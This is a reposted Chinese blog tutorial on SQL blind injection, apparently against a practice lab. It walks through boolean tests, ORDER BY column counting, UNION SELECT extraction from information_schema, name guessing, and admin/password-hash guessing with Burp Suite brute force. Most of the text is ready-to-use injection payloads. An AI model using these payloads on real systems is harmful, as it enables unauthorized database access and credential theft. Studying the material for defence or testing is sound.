标签:返回 admin Kali 43 user SQL null 猜测
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入
我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式
如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲注
猜测是否存在SQL注入:
1' and 1=1 --
如果正确返回ID为1的信息,那么可以猜测存在SQL注入漏洞
再输入:
1' and 1=2 --
如果什么都不返回,到这里就可以确定存在SQL注入了
猜测查询的字段数:
1' order by 5 --
发现什么都没有返回,说明该查询的字段少于5个字段
然后每次减小1,直到2的时候,发现返回了信息,说明该SQL语句查询的有两个字段
到这里就可以发现盲注和一般SQL注入的区别:
单引号前面至少有一个正确的ID,因为只有查询到了信息,才会有显示
进一步,使用联合查询:
1' union select user(),database() --
查询数据库信息
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --
查询数据库里面所有表的信息
1' and 1=0 union select null,table_name from information_schema.tables#
查询当前表:
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #
无法使用union,order by语句,或者无法查找infomation_schema数据库时:
和一般SQL注入的猜测方法一致
猜字段名:
1' and [猜测字段名] is not null --
如果正常返回,说明该字段存在
猜当前表名:
1' and [猜测表名].[已猜测到的字段名] is not null --
如果正常返回,说明猜测正确
猜当前库里面其他的表名:
1' and (select count(*) from [猜测表名])>0 --
如果正常返回,说明该表存在
表和字段对应关系:
1' and [猜测表].[猜测字段] is not null --
如果正常返回,说明该对应关系存在
猜字段内容:
1' and user='admin
正确返回,说明该表存在user=admin的信息
1' or user like '%a%
正确返回,结果就是user字段所有内容包含字符a的信息
2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
注意:这里的开头的id不能写死,要尝试多个
比如ID=1的user就是admin,那么后半句无论真假,都会返回admin的信息
如果ID=1的user不是admin,如果显示多条信息,那么猜测正确
之前都有提过,这里的猜测可以结合Burpsuite爆破
这一节的内容有点水,不过还是需要专门来讨论下SQL盲注
标签:返回,admin,Kali,43,user,SQL,null,猜测 来源: https://www.cnblogs.com/xuyiqing/p/10363773.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。